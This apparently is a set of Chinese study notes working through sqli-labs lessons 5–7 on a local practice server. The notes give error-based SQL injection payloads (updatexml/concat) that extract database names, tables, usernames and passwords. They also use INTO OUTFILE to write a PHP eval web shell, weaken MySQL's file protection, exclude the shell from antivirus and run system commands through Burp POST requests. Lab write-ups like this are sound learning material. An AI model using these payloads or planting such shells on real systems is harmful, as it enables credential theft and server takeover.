
5单引号报错注入1.concat()是拼接字符串查库名?id1%27%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)%232.查表名?id1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemadatabase() limit 0,1),0x7e),1) --账号?id1’and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)%23密码?id1’ and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1) %230x7e是~这是xml语句6双引号1.?id12.?id1 and updatexml(1,concat(0x7e,database()),0)%23库databasesecurity3.?id1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema‘security’ limit0,1),0x7e),1)%23获取表1 emails【limit x,y】x是从第几个开始第一个是0y是取几条或者?id1 and updatexml(1,concat(0x7e,(selectgroup_concat(table_name) from information_schema.tables where table_schema‘security’),0x7e),1)%23可以整个查询或者select count(*) from information_schema.tables where table_schemasecurity’来查询有几张表剩下桑分别是referers,uagents,users4.字段id1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema‘security’ and table_name‘users’ limit 0,1),0x7e),1)%23查询这个字段数也类似就是在这个select后面写count(*)from…剩下两个是username,password5.用户名?id1%20and%20updatexml(1,concat(0x7e,(select%20username%20from%20users%20limit%201,1),0x7e),1)%23查个数?id1 and updatexml(1,concat(0x7e,(select count(*) from users),0x7e),1)%23密码就是把username改成passwordupdatexml不能一次性全部显示报错只能一次显示32个字符7文件写入注入into outfile是 MySQL 的语法把 select 查询出来的内容写到服务器磁盘上的一个文件里0.猜测输入’显示报错说明有这个符号输入了两个’‘显示you are in use outfile这个提示是对的但是只是这个语句合法不代表这个里面真是这个我们直接看源码里面的偷懒一下1.?id1’))2.查字段?id1’)) order by 3%23前6道题都有回显所有我们可以用回显来查库表字段这个只能证明有但是什么也不会显示的3.?id-1%27))%20union%20select%201,2,%27?php%20eval($_POST[pass]);?%27%20into%20outfile%20D:\phpstudy_pro\WWW\sqli-labs\Less-7\shell.php%20%23来写一php木马不能覆盖已存在的文件【问题】失败了因为mysql本身有一个保护机制它处于了一个null状态禁止任何读写文件我们要把这个调成空的允许读写任意路径文件找这个文件写入这个然后我们用cmd来检查一下从NULL到空的即为成功记得重启MYSQL4.?id-1’)) union select 1,2,‘?php eval($_POST[cmd]);?’ into outfile “D:/phpstudy_pro/WWW/sqli-labs/Less-7/shell.php” %23如果一用burp的reapter这个文件就消失那就是系统自动查杀删了去把这个文件夹单独排除就好【php】eval()PHP 函数作用是把传入的字符串当成 PHP 代码执行抑制报错{webshell能干什么}4.?php eval($_POST[pass]);?解释外面单引号告诉 MySQL 这是字符串字面量原样写入文件如何写burp的数据包POST /sqli-labs/Less-7/shell.php HTTP/1.1Host: 127.0.0.1Content-Type: application/x-www-form-urlencodedContent-Length: 24cmdsystem(‘dir’);1post木马用 POST 接收 cmd所以必须是 POST不能 GET后面跟文件2HTTP/1.1HTTP 协议版本Burp 默认就是这个照写就行3Content-Type: application/x-www-form-urlencoded这个非常关键代表表单格式提交就是网页 form 表单默认的编码方式我们传cmdxxx这种键值对就要加这个头。4Content-Length: 24正文的字符长度–cmdsystem(‘dir’);5空一行请求头和请求正文之间必须隔一个换行这是 HTTP 协议规定。上面是头空一行之后才是 POST 提交的数据。6最后一行正文cmdsystem(dir);后面的内容就是要交给 eval 执行的 PHP 代码system(dir);windows的有system(‘ipconfig’); // 查看网卡、IPsystem(‘whoami’); // 看当前运行web服务的用户system(‘ver’); // 查看系统版本system(‘tasklist’); // 列出正在运行的进程system(‘net user’); // 查看本机用户system(‘echo hello’); // 简单输出测试system(‘type 1.txt’); // 读取1.txt文件内容system(‘cd’); // 查看当前所在目录